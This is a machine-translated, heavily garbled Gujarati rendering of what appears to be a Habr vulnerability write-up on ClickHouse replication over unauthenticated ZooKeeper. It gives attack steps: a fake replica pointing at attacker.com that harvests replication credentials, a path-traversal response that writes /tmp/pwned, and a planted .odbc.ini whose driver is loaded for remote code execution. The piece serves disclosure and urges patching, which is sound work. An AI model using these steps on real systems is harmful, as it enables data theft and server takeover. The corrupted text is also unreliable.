เช เชฒเซเช เชเซเชฒเชฟเชเชนเชพเชเชธ เชฐเซเชชเซเชฒเชฟเชเซเชถเชจ เชชเซเชฐเซเชเซเชเซเชฒเชฎเชพเช เชเซเชฌ เช เชเซเชเซเชเชธ เชจเชฌเชณเชพเชเชจเซ เชตเชพเชฐเซเชคเชพ เชเชนเซเชถเซ, เช เชจเซ เช เชชเชฃ เชฌเชคเชพเชตเชถเซ เชเซ เชนเซเชฎเชฒเชพเชจเซ เชธเชชเชพเชเซเชจเซ เชเซเชตเซ เชฐเซเชคเซ เชตเชฟเชธเซเชคเซเชค เชเชฐเซ เชถเชเชพเชฏ เชเซ.
เชเซเชฒเชฟเชเชนเชพเชเชธ เช เชกเซเชเชพเชจเชพ เชฎเซเชเชพ เชเชฅเซเชฅเชพเชจเซ เชธเชเชเซเชฐเชนเชฟเชค เชเชฐเชตเชพ เชฎเชพเชเซเชจเซ เชกเซเชเชพเชฌเซเช เชเซ, เชฎเซเชเซเชญเชพเชเซ เชเช เชเชฐเชคเชพเช เชตเชงเซ เชชเซเชฐเชคเชฟเชเซเชคเชฟเชจเซ เชเชชเชฏเซเช เชเชฐเซ เชเซ. เชเซเชฒเชฟเชเชนเชพเชเชธเชฎเชพเช เชเซเชฒเชธเซเชเชฐเชฟเชเช เช
เชจเซ เชชเซเชฐเชคเชฟเชเซเชคเชฟ เชเซเช เชชเชฐ เชฌเชจเซเชฒ เชเซ
เชกเชฟเชซเซเชฒเซเช ZK เชเชจเซเชธเซเชเซเชฒเซเชถเชจเชจเซ เชชเซเชฐเชฎเชพเชฃเซเชเชฐเชฃเชจเซ เชเชฐเซเชฐ เชจเชฅเซ, เชคเซเชฅเซ เชเชพเชซเชเชพ, เชนเชกเซเชช, เชเซเชฒเชฟเชเชนเชพเชเชธเชจเซ เชเซเช เชตเชตเชพ เชฎเชพเชเซ เชเชชเชฏเซเชเชฎเชพเช เชฒเซเชตเชพเชคเชพ เชนเชเชพเชฐเซ ZK เชธเชฐเซเชตเชฐเซเชธ เชธเชพเชฐเซเชตเชเชจเชฟเช เชฐเซเชชเซ เชเชชเชฒเชฌเซเชง เชเซ.
เชคเชฎเชพเชฐเซ เชนเซเชฎเชฒเชพเชจเซ เชธเชชเชพเชเซเชจเซ เชเชเชพเชกเชตเชพ เชฎเชพเชเซ, เชคเชฎเชพเชฐเซ ZooKeeper เชเชจเซเชธเซเชเซเชฒ เชเชฐเชคเซ เชตเชเชคเซ เชนเชเชฎเซเชถเชพ เชชเซเชฐเชฎเชพเชฃเซเชเชฐเชฃ เช เชจเซ เช เชงเชฟเชเซเชคเชคเชพ เชเซเช เชตเชตเซ เชเซเชเช.
เช เชฒเชฌเชคเซเชค เชเซเชเชฒเชพเช 0เชฆเชฟเชตเชธ เชเชงเชพเชฐเชฟเชค เชเชพเชตเชพ เชกเซเชธเซเชฐเชฟเชฏเชฒเชพเชเชเซเชถเชจ เชเซ, เชชเชฐเชเชคเซ เชเชฒเซเชชเชจเชพ เชเชฐเซ เชเซ เชนเซเชฎเชฒเชพเชเซเชฐ ZooKeeper เชจเซ เชตเชพเชเชเซ เช เชจเซ เชฒเชเซ เชถเชเซ เชเซ, เชเซเชจเซ เชเชชเชฏเซเช ClickHouse เชชเซเชฐเชคเชฟเชเซเชคเชฟ เชฎเชพเชเซ เชฅเชพเชฏ เชเซ.
เชเซเชฏเชพเชฐเซ เชเซเชฒเชธเซเชเชฐ เชฎเซเชกเชฎเชพเช เชเซเช เชตเซเชฒ เชนเซเชฏ, เชคเซเชฏเชพเชฐเซ เชเซเชฒเชฟเชเชนเชพเชเชธ เชตเชฟเชคเชฐเชฟเชค เชเซเชตเซเชฐเซเชเชจเซ เชธเชชเซเชฐเซเช เชเชฐเซ เชเซ /clickhouse/task_queue/ddl
.
เชเชฆเชพเชนเชฐเชฃ เชคเชฐเซเชเซ, เชคเชฎเซ เชจเซเชก เชฌเชจเชพเชตเซ /clickhouse/task_queue/ddl/query-0001
เชธเชพเชฎเชเซเชฐเซ เชธเชพเชฅเซ:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
เช เชจเซ เชคเซ เชชเชเซ, เชเซเชธเซเช เชเซเชฌเชฒ เชเซเชฒเชธเซเชเชฐ เชธเชฐเซเชตเชฐ host1 เช เชจเซ host2 เชชเชฐเชฅเซ เชเชพเชขเซ เชจเชพเชเชตเชพเชฎเชพเช เชเชตเชถเซ. DDL CREATE/ALTER/DROP เชเซเชตเซเชฐเซเช เชเชฒเชพเชตเชตเชพเชจเซเช เชชเชฃ เชธเชฎเชฐเซเชฅเชจ เชเชฐเซ เชเซ.
เชกเชฐเชพเชฎเชฃเซ เช เชตเชพเช? เชชเชฐเชเชคเซ เชนเซเชฎเชฒเชพเชเซเชฐเชจเซ เชธเชฐเซเชตเชฐ เชธเชฐเชจเชพเชฎเชพเช เชเซเชฏเชพเชเชฅเซ เชฎเชณเซ เชถเชเซ?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
เชเชพเชเช เซ เชฌเชจเชพเชตเชตเชพเชฎเชพเช เชเชตเชถเซ เชเซเชฒเชฎ ะธ เชฎเซเชเชพเชกเซเชเชพ.
เชธเชพเชฎเชเซเชฐเซ /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
เชถเซเช เช เชเซเชฒเชธเซเชเชฐเชฎเชพเชเชฅเซ เชกเซเชเชพ เชฎเชฐเซเช เชเชฐเชตเซเช เชถเชเซเชฏ เชเซ? เชนเชพ, เชเซ เชชเซเชฐเชคเชฟเชเซเชคเชฟ เชชเซเชฐเซเช (TCP/9009
) เชธเชฐเซเชตเชฐ เชชเชฐ chXX-address
เชซเชพเชฏเชฐเชตเซเชฒ เชฌเชเชง เชเชฐเชตเชพเชฎเชพเช เชเชตเชถเซ เชจเชนเซเช เช
เชจเซ เชชเซเชฐเชคเชฟเชเซเชคเชฟ เชฎเชพเชเซ เชชเซเชฐเชฎเชพเชฃเซเชเชฐเชฃ เชฐเซเชชเชฐเซเชเชพเชเชเชฟเชค เชเชฐเชตเชพเชฎเชพเช เชเชตเชถเซ เชจเชนเซเช. เชชเซเชฐเชฎเชพเชฃเซเชเชฐเชฃเชจเซ เชฌเชพเชฏเชชเชพเชธ เชเซเชตเซ เชฐเซเชคเซ เชเชฐเชตเซเช?
เชนเซเชฎเชฒเชพเชเซเชฐ เชซเชเซเชค เชคเซเชฎเชพเชเชฅเซ เชธเชฎเชพเชตเชฟเชทเซเชเซเชจเซ เชจเชเชฒ เชเชฐเซเชจเซ ZK เชฎเชพเช เชจเชตเซ เชชเซเชฐเชคเชฟเชเซเชคเชฟ เชฌเชจเชพเชตเซ เชถเชเซ เชเซ /clickhouse/tables/01-01/foobar/replicas/chXX
เช
เชจเซ เช
เชฐเซเชฅ เชฌเชฆเชฒเซ เชฐเชนเซเชฏเชพ เชเซ host
.
เชธเชพเชฎเชเซเชฐเซ /clickhouse/tables/01โ01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
เชชเชเซ เชคเชฎเชพเชฐเซ เช
เชจเซเชฏ เชชเซเชฐเชคเชฟเชเซเชคเชฟเชเชจเซ เชเชนเซเชตเชพเชจเซ เชเชฐเซเชฐ เชเซ เชเซ เชนเซเชฎเชฒเชพเชเซเชฐเชจเชพ เชธเชฐเซเชตเชฐ เชชเชฐ เชกเซเชเชพเชจเซ เชเช เชจเชตเซ เชฌเซเชฒเซเช เชเซ เชเซ เชคเซเชฎเชจเซ เชฒเซเชตเชพเชจเซ เชเชฐเซเชฐ เชเซ - ZK เชฎเชพเช เชจเซเชก เชฌเชจเชพเชตเชตเชพเชฎเชพเช เชเชตเซเชฏเซ เชเซ. /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX เชเชเชตเชฟเชง เชฐเซเชคเซ เชตเชงเชคเซเช เชเชพเชเชจเซเชเชฐ, เชเซ เชเชตเซเชจเซเช เชฒเซเชเชฎเชพเช เชเซเชฒเซเชฒเชพ เชเช เชเชฐเชคเชพ เชตเชงเชพเชฐเซ เชนเซเชตเซเช เชเซเชเช):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
เชเซเชฏเชพเช เชธเซเชคเซเชฐเซเชค_เชชเซเชฐเชคเชฟเชเซเชคเชฟ - เช
เชเชพเชเชจเชพ เชชเชเชฒเชพเชฎเชพเช เชฌเชจเชพเชตเซเชฒ เชนเซเชฎเชฒเชพเชเซเชฐเชจเซ เชชเซเชฐเชคเชฟเชเซเชคเชฟเชจเซเช เชจเชพเชฎ, เชฌเซเชฒเซเช_เชเชเชกเซ - เชกเซเชเชพ เชฌเซเชฒเซเช เชเชณเชเชเชฐเซเชคเชพ, เชฎเซเชณเชตเชตเซเช - "เชเซเช เชฌเซเชฒเซเช" เชเชฆเซเชถ (เช
เชจเซ
เชเชเชณ, เชฆเชฐเซเช เชชเซเชฐเชคเชฟเชเซเชคเชฟ เชฒเซเชเชฎเชพเช เชเช เชจเชตเซ เชเชเชจเชพ เชตเชพเชเชเซ เชเซ เช
เชจเซ เชกเซเชเชพเชจเซ เชฌเซเชฒเซเช เชฎเซเชณเชตเชตเชพ เชนเซเชฎเชฒเชพเชเซเชฐ เชฆเซเชตเชพเชฐเชพ เชจเชฟเชฏเชเชคเซเชฐเชฟเชค เชธเชฐเซเชตเชฐ เชชเชฐ เชเชพเชฏ เชเซ (เชชเซเชฐเชคเชฟเชเซเชคเชฟ เชชเซเชฐเซเชเซเชเซเชฒ เชฌเชพเชเชจเชฐเซ เชเซ, HTTP เชจเซ เชเซเช เชชเชฐ เชเชพเชฒเซ เชเซ). เชธเชฐเซเชตเชฐ attacker.com
เชตเชฟเชจเชเชคเซเช เชชเซเชฐเชพเชชเซเชค เชฅเชถเซ:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
เชเซเชฏเชพเช เชชเซเชฐเชคเชฟเชเซเชคเชฟ เชฎเชพเชเซ XXX เช เชชเซเชฐเชฎเชพเชฃเซเชเชฐเชฃ เชกเซเชเชพ เชเซ. เชเซเชเชฒเชพเช เชเชฟเชธเซเชธเชพเชเชฎเชพเช, เช เชฎเซเชเซเชฏ เชเซเชฒเชฟเชเชนเชพเชเชธ เชชเซเชฐเซเชเซเชเซเชฒ เช เชจเซ HTTP เชชเซเชฐเซเชเซเชเซเชฒ เชฆเซเชตเชพเชฐเชพ เชกเซเชเชพเชฌเซเชเชจเซ เชเชเซเชธเซเชธ เชงเชฐเชพเชตเชคเซเช เชเชเชพเชเชจเซเช เชนเซเช เชถเชเซ เชเซ. เชเซเชฎ เชคเชฎเซ เชเซเชฏเซเช เชคเซเชฎ, เชนเซเชฎเชฒเชพเชจเซ เชธเชชเชพเชเซ เชเชเชญเซเชฐ เชฐเซเชคเซ เชฎเซเชเซ เชฌเชจเซ เชเชพเชฏ เชเซ เชเชพเชฐเชฃ เชเซ เชชเซเชฐเชคเชฟเชเซเชคเชฟ เชฎเชพเชเซ เชเชชเชฏเซเชเชฎเชพเช เชฒเซเชตเชพเชคเชพ ZooKeeper, เชชเซเชฐเชฎเชพเชฃเซเชเชฐเชฃ เชฐเซเชชเชฐเซเชเชพเชเชเชฟเชค เชเชฐเซเชฏเชพ เชตเชฟเชจเชพ เชเซเชกเซ เชฆเซเชตเชพเชฎเชพเช เชเชตเซเชฏเซเช เชนเชคเซเช.
เชเชพเชฒเซ เชชเซเชฐเชคเชฟเชเซเชคเชฟเชฎเชพเชเชฅเซ เชกเซเชเชพเชจเชพ เชฌเซเชฒเซเช เชฎเซเชณเชตเชตเชพเชจเชพ เชเชพเชฐเซเชฏเชจเซ เชเซเชเช, เชคเซ เชธเชเชชเซเชฐเซเชฃ เชตเชฟเชถเซเชตเชพเชธ เชธเชพเชฅเซ เชฒเชเชตเชพเชฎเชพเช เชเชตเซเชฏเซเช เชเซ เชเซ เชฌเชงเซ เชชเซเชฐเชคเชฟเชเซเชคเชฟเช เชฏเซเชเซเชฏ เชจเชฟเชฏเชเชคเซเชฐเชฃ เชนเซเช เชณ เชเซ เช เชจเซ เชคเซเชฎเชจเซ เชตเชเซเชเซ เชตเชฟเชถเซเชตเชพเชธ เชเซ.
เชชเซเชฐเชคเชฟเชเซเชคเชฟ เชชเซเชฐเชเซเชฐเชฟเชฏเชพ เชเซเชก
เชซเชเชเซเชถเชจ เชซเชพเชเชฒเซเชจเซ เชธเซเชเชฟ เชตเชพเชเชเซ เชเซ, เชชเชเซ เชคเซเชฎเชจเชพ เชจเชพเชฎ, เชเชฆ, เชธเชฎเชพเชตเชฟเชทเซเชเซ, เช เชจเซ เชชเชเซ เชคเซเชฎเชจเซ เชซเชพเชเชฒ เชธเชฟเชธเซเชเชฎ เชชเชฐ เชฒเชเซ เชเซ. เชซเชพเชเชฒ เชธเชฟเชธเซเชเชฎเชฎเชพเช เชกเซเชเชพ เชเซเชตเซ เชฐเซเชคเซ เชธเชเชเซเชฐเชนเชฟเชค เชฅเชพเชฏ เชเซ เชคเซเชจเซเช เช เชฒเชเชฅเซ เชตเชฐเซเชฃเชจ เชเชฐเชตเซเช เชฏเซเชเซเชฏ เชเซ.
เชฎเชพเช เชเชฃเซ เชฌเชงเซ เชธเชฌเชกเชฟเชฐเซเชเซเชเชฐเซเช เชเซ /var/lib/clickhouse
(เชฐเซเชชเชฐเซเชเชพเชเชเชจ เชซเชพเชเชฒเชฎเชพเชเชฅเซ เชฎเซเชณเชญเซเชค เชธเชเชเซเชฐเชน เชจเชฟเชฐเซเชฆเซเชถเชฟเชเชพ):
เชซเซเชฒเซเชเซเชธ - เชฐเซเชเซเชฐเซเชกเชฟเชเช เชฎเชพเชเซ เชกเชฟเชฐเซเชเซเชเชฐเซ
tmp - เช
เชธเซเชฅเชพเชฏเซ เชซเชพเชเชฒเซเชจเซ เชธเชเชเซเชฐเชนเชฟเชค เชเชฐเชตเชพ เชฎเชพเชเซเชจเซ เชกเชฟเชฐเซเชเซเชเชฐเซ;
user_files โ เชตเชฟเชจเชเชคเซเชเชฎเชพเช เชซเชพเชเชฒเซ เชธเชพเชฅเซเชจเซ เชเชพเชฎเชเซเชฐเซ เช เชจเชฟเชฐเซเชฆเซเชถเชฟเชเชพ เชธเซเชงเซ เชฎเชฐเซเชฏเชพเชฆเชฟเชค เชเซ (INTO OUTFILE เช
เชจเซ เช
เชจเซเชฏ);
เชฎเซเชเชพเชกเซเชเชพ - เชเซเชทเซเชเช เชตเชฐเซเชฃเชจเซ เชธเชพเชฅเซ sql เชซเชพเชเชฒเซ;
preprocessed_configs - เชฎเชพเชเชฅเซ เชชเซเชฐเซเชธเซเชธเซเชก เชกเซเชฐเชฟเชตเซเชเชฟเชต เชฐเซเชชเชฐเซเชเชพเชเชเชจ เชซเชพเชเชฒเซ /etc/clickhouse-server
;
เชฎเชพเชนเชฟเชคเซ - เชกเซเชเชพ เชธเชพเชฅเซเชจเซ เชตเชพเชธเซเชคเชตเชฟเช เชกเชฟเชฐเซเชเซเชเชฐเซ, เช เชเชฟเชธเซเชธเชพเชฎเชพเช เชฆเชฐเซเช เชกเซเชเชพเชฌเซเช เชฎเชพเชเซ เชเช เช
เชฒเช เชธเชฌเชกเชฟเชฐเซเชเซเชเชฐเซ เช
เชนเซเช เชธเชฐเชณ เชฐเซเชคเซ เชฌเชจเชพเชตเชตเชพเชฎเชพเช เชเชตเซ เชเซ (เชเชฆเชพเชนเชฐเชฃ เชคเชฐเซเชเซ /var/lib/clickhouse/data/default
).
เชฆเชฐเซเช เชเซเชทเซเชเช เชฎเชพเชเซ, เชกเซเชเชพเชฌเซเช เชกเชฟเชฐเซเชเซเชเชฐเซเชฎเชพเช เชธเชฌเชกเชฟเชฐเซเชเซเชเชฐเซ เชฌเชจเชพเชตเชตเชพเชฎเชพเช เชเชตเซ เชเซ. เชฆเชฐเซเช เชเซเชฒเชฎ เชชเชฐ เชเชงเชพเชฐ เชฐเชพเชเซเชจเซ เชเช เช
เชฒเช เชซเชพเชเชฒ เชเซ
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
เชชเซเชฐเชคเชฟเชเซเชคเชฟ เชกเซเชเชพเชจเชพ เชฌเซเชฒเซเชเชจเซ เชชเซเชฐเชเซเชฐเชฟเชฏเชพ เชเชฐเชคเซ เชตเชเชคเซ เชธเชฎเชพเชจ เชจเชพเชฎเซเชจเซ เชซเชพเชเชฒเซ เชชเซเชฐเชพเชชเซเชค เชเชฐเชตเชพเชจเซ เช เชชเซเชเซเชทเชพ เชฐเชพเชเซ เชเซ เช เชจเซ เชคเซเชจเซ เชเซเชเชชเชฃ เชฐเซเชคเซ เชฎเชพเชจเซเชฏ เชเชฐเชคเซ เชจเชฅเซ.
เชธเชเซเชค เชตเชพเชเชเซ เชเชฆเชพเช เชชเชนเซเชฒเชพเชฅเซ เช เชซเชเชเซเชถเชจเชฎเชพเช file_name เชจเชพ เช
เชธเซเชฐเชเซเชทเชฟเชค เชเซเชกเชพเชฃ เชตเชฟเชถเซ เชธเชพเชเชญเชณเซเชฏเซเช เชนเชถเซ WriteBufferFromFile
. เชนเชพ, เช เชนเซเชฎเชฒเชพเชเซเชฐเชจเซ เชตเชชเชฐเชพเชถเชเชฐเซเชคเชพ เช
เชงเชฟเชเชพเชฐเซ เชธเชพเชฅเซ FS เชชเชฐ เชเซเชเชชเชฃ เชซเชพเชเชฒเชฎเชพเช เชฎเชจเชธเซเชตเซ เชธเชพเชฎเชเซเชฐเซ เชฒเชเชตเชพเชจเซ เชฎเชเชเซเชฐเซ เชเชชเซ เชเซ clickhouse
. เช เชเชฐเชตเชพ เชฎเชพเชเซ, เชนเซเชฎเชฒเชพเชเซเชฐ เชฆเซเชตเชพเชฐเชพ เชจเชฟเชฏเชเชคเซเชฐเชฟเชค เชชเซเชฐเชคเชฟเชเซเชคเชฟเช เชตเชฟเชจเชเชคเซเชจเซ เชจเซเชเซเชจเซ เชชเซเชฐเชคเชฟเชธเชพเชฆ เชชเชฐเชค เชเชฐเชตเซ เชเชตเชถเซเชฏเช เชเซ (เชธเชฎเชเชตเชพเชจเซ เชธเชฐเชณเชคเชพ เชฎเชพเชเซ เชฒเชพเชเชจ เชฌเซเชฐเซเชเซเชธ เชเชฎเซเชฐเชตเชพเชฎเชพเช เชเชตเซเชฏเชพ เชเซ):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
เช
เชจเซ เชเซเชกเชพเชฃ เชชเชเซ ../../../../../../../../../tmp/pwned
เชซเชพเชเชฒ เชฒเชเชตเชพเชฎเชพเช เชเชตเชถเซ /tmp/pwned เชธเชพเชฎเชเซเชฐเซ เชธเชพเชฅเซ เชนเซเชฒเซเชซเซเชฐเซเชฎเชเซเชเซเชชเชฐ.
เชซเชพเชเชฒ เชฒเชเชตเชพเชจเซ เชเซเชทเชฎเชคเชพเชจเซ เชฐเชฟเชฎเซเช เชเซเชก เชเชเซเชเชฟเชเซเชฏเซเชถเชจ (RCE) เชฎเชพเช เชซเซเชฐเชตเชตเชพ เชฎเชพเชเซ เชเชฃเชพ เชตเชฟเชเชฒเซเชชเซ เชเซ.
RCE เชฎเชพเช เชฌเชพเชนเซเชฏ เชถเชฌเซเชฆเชเซเชถเซ
เชเซเชจเชพ เชธเชเชธเซเชเชฐเชฃเซเชฎเชพเช, เชเซเชฒเชฟเชเชนเชพเชเชธ เชธเซเชเชฟเชเชเซเชธ เชธเชพเชฅเซเชจเซ เชกเชฟเชฐเซเชเซเชเชฐเซ เชตเชชเชฐเชพเชถเชเชฐเซเชคเชพ เช
เชงเชฟเชเชพเชฐเซ เชธเชพเชฅเซ เชธเชเชเซเชฐเชนเชฟเชค เชนเชคเซ เชเซเชฒเชฟเชเชนเชพเชเชธ เชฎเซเชณเชญเซเชค เชธเซเชเชฟเชเชเซเชธ เชซเชพเชเชฒเซ XML เชซเชพเชเชฒเซ เชเซ เชเซ เชธเซเชตเชพ เชธเซเชเชพเชฐเซเชเช
เชช เชธเชฎเชฏเซ เชตเชพเชเชเซ เชเซ เช
เชจเซ เชชเชเซ เชเซเชถ เชเชฐเซ เชเซ /var/lib/clickhouse/preprocessed_configs
. เชเซเชฏเชพเชฐเซ เชซเซเชฐเชซเชพเชฐเซ เชฅเชพเชฏ เชเซ, เชคเซเชฏเชพเชฐเซ เชคเซ เชซเชฐเซเชฅเซ เชตเชพเชเชเชตเชพเชฎเชพเช เชเชตเซ เชเซ. เชเซ เชคเชฎเชพเชฐเซ เชชเชพเชธเซ เชเชเซเชธเซเชธ เชนเซเชฏ /etc/clickhouse-server
เชนเซเชฎเชฒเชพเชเซเชฐ เชชเซเชคเชพเชจเซเช เชธเชฐเซเชเชจ เชเชฐเซ เชถเชเซ เชเซ root
.
ODBC เชฅเซ RCE
เชชเซเชเซเช เชเชจเซเชธเซเชเซเชฒ เชเชฐเชคเซ เชตเชเชคเซ, เชตเชชเชฐเชพเชถเชเชฐเซเชคเชพ เชฌเชจเชพเชตเชตเชพเชฎเชพเช เชเชตเซ เชเซ clickhouse
, เชชเชฐเชเชคเซ เชคเซเชจเซ เชนเซเชฎ เชกเชฟเชฐเซเชเซเชเชฐเซ เชฌเชจเชพเชตเชตเชพเชฎเชพเช เชเชตเซ เชจเชฅเซ /nonexistent
. เชเซ เชเซ, เชฌเชพเชนเซเชฏ เชถเชฌเซเชฆเชเซเชถเซเชจเซ เชเชชเชฏเซเช เชเชฐเชคเซ เชตเชเชคเซ, เช
เชฅเชตเชพ เช
เชจเซเชฏ เชเชพเชฐเชฃเซเชธเชฐ, เชธเชเชเชพเชฒเชเซ เชกเชฟเชฐเซเชเซเชเชฐเซ เชฌเชจเชพเชตเซ เชเซ /nonexistent
เช
เชจเซ เชตเชชเชฐเชพเชถเชเชฐเซเชคเชพเชจเซ เชเชชเซ clickhouse
เชคเซเชจเชพ เชชเชฐ เชฒเชเชตเชพเชจเซ เชเชเซเชธเซเชธ (SSZB! เชเชถเชฐเซ เช
เชจเซเชตเชพเชฆเช).
เชเซเชฒเชฟเชเชนเชพเชเชธ เชธเชชเซเชฐเซเช เชเชฐเซ เชเซ odbc-bridge
, เชคเซเชฅเซ เชตเชฟเชจเชเชคเซเชฎเชพเชเชฅเซ เชกเซเชฐเชพเชเชตเชฐ เชชเชพเชฅเชจเซ เชเชฒเซเชฒเซเช เชเชฐเชตเชพเชจเซเช เชนเชตเซ เชถเชเซเชฏ เชจเชฅเซ. เชชเชฐเชเชคเซ เชถเซเช เชนเซเชฎเชฒเชพเชเซเชฐ เชเชชเชฐ เชตเชฐเซเชฃเชตเซเชฒ เชจเชฌเชณเชพเชเชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชนเซเชฎ เชกเชฟเชฐเซเชเซเชเชฐเซเชฎเชพเช เชฒเชเซ เชถเชเซ เชเซ?
เชเชพเชฒเซ เชเช เชซเชพเชเชฒ เชฌเชจเชพเชตเซเช ~/.odbc.ini
เชเชจเชพ เชเซเชตเซ เชธเชพเชฎเชเซเชฐเซ เชธเชพเชฅเซ:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
เชชเชเซ เชธเซเชเชพเชฐเซเชเช
เชช เชชเชฐ SELECT * FROM odbc('DSN=lalala', 'test', 'test');
เชชเซเชธเซเชคเชเชพเชฒเชฏ เชฒเซเชก เชเชฐเชตเชพเชฎเชพเช เชเชตเชถเซ test.so
เช
เชจเซ RCE เชชเซเชฐเชพเชชเซเชค เชเชฐเซเชฏเซเช (เชเชญเชพเชฐ
เช เช เชจเซ เช เชจเซเชฏ เชจเชฌเชณเชพเชเชเชจเซ ClickHouse เชเชตเซเชคเซเชคเชฟ 19.14.3 เชฎเชพเช เช เซเช เชเชฐเชตเชพเชฎเชพเช เชเชตเซ เชเซ. เชคเชฎเชพเชฐเชพ เชเซเชฒเชฟเชเชนเชพเชเชธ เช เชจเซ เชเซเชเซเชชเชฐเซเชธเชจเซ เชเชพเชณเชเซ เชฒเซ!
เชธเซเชฐเซเชธ: www.habr.com